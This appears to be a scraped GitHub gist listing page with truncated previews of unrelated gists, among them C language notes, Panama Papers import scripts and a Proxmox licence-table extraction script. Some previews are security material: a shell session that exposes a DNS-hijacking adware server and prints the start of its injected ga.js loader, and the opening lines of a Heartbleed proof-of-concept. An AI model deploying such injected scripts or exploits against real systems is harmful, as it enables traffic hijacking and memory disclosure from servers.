Skip to content

Instantly share code, notes, and snippets.

@xrobau
xrobau / extract.sh
Created April 7, 2024 23:11
Windows 10 SLIC and MSDM into Proxmox KVM
#!/bin/bash
# On the 'donor' machine, boot a live linux ISO (Ubuntu or whatever)
# and connect it to the internet. Then run these commands, which will
# dump the contents to sprunge.us so you can retrieve them easily. Or
# copy them manually, whatever.
mkdir -p /tmp/MSDM
cd /tmp/MSDM
for f in SLIC MSDM; do
@fay59
fay59 / Quirks of C.md
Last active January 23, 2024 04:24
Quirks of C

Here's a list of mildly interesting things about the C language that I learned mostly by consuming Clang's ASTs. Although surprises are getting sparser, I might continue to update this document over time.

There are many more mildly interesting features of C++, but the language is literally known for being weird, whereas C is usually considered smaller and simpler, so this is (almost) only about C.

1. Combined type and variable/field declaration, inside a struct scope [https://godbolt.org/g/Rh94Go]

struct foo {
   struct bar {
 int x;
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@jexp
jexp / bulk-neo4j-import-original.sh
Last active May 10, 2021 20:29
Panama Papers Import Scripts for Neo4j
export NEO4J_HOME=${NEO4J_HOME-~/Downloads/neo4j-community-3.0.1}
if [ ! -f data-csv.zip ]; then
curl -OL https://cloudfront-files-1.publicintegrity.org/offshoreleaks/data-csv.zip
fi
export DATA=${PWD}/import
rm -rf $DATA
@kokes
kokes / EU_Fondy.ipynb
Last active July 11, 2016 23:17
První nástřel tabulkování eurofondů
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
$ dig google-analytics.com @82.163.143.172
; <<>> DiG 9.8.3-P1 <<>> google-analytics.com @82.163.143.172
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23476
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;google-analytics.com. IN A
$ curl http://m64.dnsqa.me/QualityCheck/ga.js
/* 64/9/AT */
window._rvz9560x1009 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'};
window._rvz9560x1010 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'};
(function() {
var gtprv = {
isIE : function () { var myNav = navigator.userAgent.toLowerCase(); return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false; },
loadJS : function (gturl) {
var dns_qcs8 = document.getElementsByTagName('script')[0];
var dns_qc8 = document.createElement('script'); dns_qc8.type='text/javascript';
# Main Nginx router
www-router:
image: andrewgodwin/www-router
environment:
www.aeracode.org: aeracode-varnish
aeracode.org: redirect:www.aeracode.org
www.codingponies.com: codingponies
codingponies.com: redirect:www.codingponies.com
@ruario
ruario / h264-vivaldi-linux.md
Last active March 18, 2023 11:17
How to enable HTML5 MP4 (H.264/AAC) video in Vivaldi for Linux, via an alternative FFMpeg library
@takeshixx
takeshixx / hb-test.py
Last active March 9, 2024 13:37
OpenSSL heartbeat PoC with STARTTLS support.
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser